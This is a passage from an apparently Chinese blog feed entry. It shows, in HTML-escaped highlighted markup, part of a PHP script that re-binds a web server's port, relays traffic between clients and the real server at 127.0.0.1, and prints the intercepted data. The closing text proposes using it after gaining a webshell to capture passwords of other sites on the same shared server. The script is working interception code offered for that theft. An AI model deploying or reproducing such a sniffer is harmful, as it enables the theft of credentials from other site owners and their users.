128);"&gt;$listen_ip&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; :&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_port&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 创建socket数组，使用select来轮询&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$check_socks&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 映射客户端socket和服务端socket&lt;br /&gt;// $socket_maps1将客户端socket作为key&lt;br /&gt;// $socket_maps2将服务端socket作为key&lt;br /&gt;// 以内存换速度，并且方便下面的搜索&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( );&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( );&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 实例化select类&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; select( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$check_socks&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;true&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;    print_r( $socket_maps );&lt;br /&gt;    print "&amp;lt;br /&amp;gt;";&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;*/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; select轮询，超时2秒&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;foreach&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;can_read(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;as&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; listen_sock可读，说明有人连接上来了&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; )&lt;br /&gt;        {&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 接受新连接，并加入到轮训数组&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$new_client&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; socket_accept(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;add(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$new_client&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;            socket_getpeername(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$new_client&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$ip&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$port&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;echo&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;New client connected: $ip, $port&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 建立到真实服务器的socket&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$server_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; socket_create(AF_INET&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; SOCK_STREAM&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; SOL_TCP);&lt;br /&gt;            socket_connect(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$server_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;127.0.0.1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_port&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 建立真实服务器socket和真实客户端socket之间的映射关系&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$new_client&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$server_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$server_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$new_client&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 添加到select轮询中&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;add(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$server_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; $listen_sock的可读数据是因为有新连接，已经处理了。暂时去掉，因为下面开始处理数据转发&lt;br /&gt;            //select-&amp;gt;remove( $listen_sock );&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 其他socket可读，表示有数据需要中转&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;else&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;        {&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 读取数据，失败则从轮询socket中删除，并关闭socket&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$client_data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; @socket_read(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1024&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; PHP_NORMAL_READ);&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$client_data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;===&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;false&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;            {&lt;br /&gt;                socket_close( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;                &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;remove( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;echo&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;client disconnected.&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;               &lt;br /&gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;continue&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;            }&lt;br /&gt;         &lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 如果socket在$socket_maps1的key中，说明是从客户端读到了数据&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;in_array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;array_keys&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) ) )&lt;br /&gt;            {&lt;br /&gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;echo "readed from client.&amp;lt;br /&amp;gt;";&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; socket_write( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$client_data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ) )&lt;br /&gt;                {&lt;br /&gt;                    socket_close( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;                    socket_close( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] );&lt;br /&gt;                    &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;remove( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;                    &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;remove( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] );&lt;br /&gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Write to server error.&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;                }&lt;br /&gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;htmlentities&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$client_data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;            }&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 否则如果socket在$socket_maps2的key中，说明是从真正的web服务器读到了数据&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;elseif&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;in_array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;array_keys&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) ) )&lt;br /&gt;            {&lt;br /&gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;echo "readed from server.&amp;lt;br /&amp;gt;";&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; socket_write( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$client_data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ) )&lt;br /&gt;                {&lt;br /&gt;                    socket_close( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;                    socket_close( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] );&lt;br /&gt;                    &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;remove( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;                    &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;remove( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket_maps2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] );&lt;br /&gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Write to client error.&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;                }&lt;br /&gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;htmlentities&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$client_data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     这个东西有什么作用？自由发挥。也许你有一个webshell，但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的，据我所知windows2003默认已经不准重复绑定端口了。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-485382679423577951?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 